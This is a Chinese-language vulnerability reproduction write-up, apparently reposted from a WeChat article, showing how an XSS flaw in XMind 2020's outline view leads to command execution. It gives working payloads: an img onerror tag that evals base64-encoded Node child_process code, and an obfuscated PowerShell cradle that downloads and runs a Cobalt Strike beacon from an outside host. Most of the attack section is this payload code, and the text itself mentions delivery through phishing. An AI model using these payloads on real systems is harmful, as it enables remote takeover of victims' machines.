公众号原文
仅参考复现,和小幅修改
# 01 Xmind简介:
XMind 是一个全功能的思维导图和头脑风暴软件,为激发灵感和创意而生。作为一款有效提升工作和生活效率的生产力工具,受到全球百千万用户的青睐。
# 02 漏洞简介:
Xmind 存在XSS漏洞,攻击者可以借助该漏洞进而实现命令执行,在实际环境中可以借助钓鱼攻击可能造成更严重的危害。
# 03 漏洞影响范围:
最新版本202107130605不受该漏洞影响,次新版本均受该漏洞影响,且需要打开大纲,按任意字符才能触发。
# 04 漏洞复现过程:
测试版本为Xmind2020,安装完成之后,打开软件,随便点击一个思维导图点击创建:
将导图分支修改为poc/exp,然后进入大纲视图查看、测试:
1、首先测试下xss弹窗:
payload:
![](https://worker.digter8.com/imgs/202304021434210.png)
输入完之后,鼠标移动到payload最后方,敲空格就能触发,或者点击ctrl健也能触发:
2、测试RCE命令执行:
原始payload:
require('child_process').exec('将要执行的系统命令',(error, stdout, stderr)=>{ alert(`stdout: ${stdout}`); });
然后将其进行base64编码:
cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2lwY29uZmlnIC9hbGwnLChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpPT57CiAgICBhbGVydChgc3Rkb3V0OiAke3N0ZG91dH1gKTsKfSk7
构造最终的payload,替换里面的内容即可:
<img src=x onerror=’eval(new Buffer(`你的base64payload`,`base64`).toString())’>
触发方式也是一样的,成功执行:
3、测试CS上线:
这里使用powershell上线:
和上面命令执行利用方式一样,将执行的命令替换为powershell上线payload:
由于命令在单引号内,而powershell命令中也有单引号,所以需要用\进行转义:
require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://192.168.136.144:888/a\'))"',(error, stdout, stderr)=>{ alert(`stdout: ${stdout}`); });
然后base64编码,再进行最终的payload构造即可:
<img src=x onerror=’eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3Bvd2Vyc2hlbGwuZXhlIC1ub3AgLXcgaGlkZGVuIC1jICJJRVggKChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKFwnaHR0cDovLzE5Mi4xNjguMTM2LjE0NDo4ODgvYVwnKSkiJywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+ewogICAgYWxlcnQoYHN0ZG91dDogJHtzdGRvdXR9YCk7Cn0pOw==`,`base64`).toString())’>
触发方式一样:
可以看到成功上线:
尝试执行命令,成功: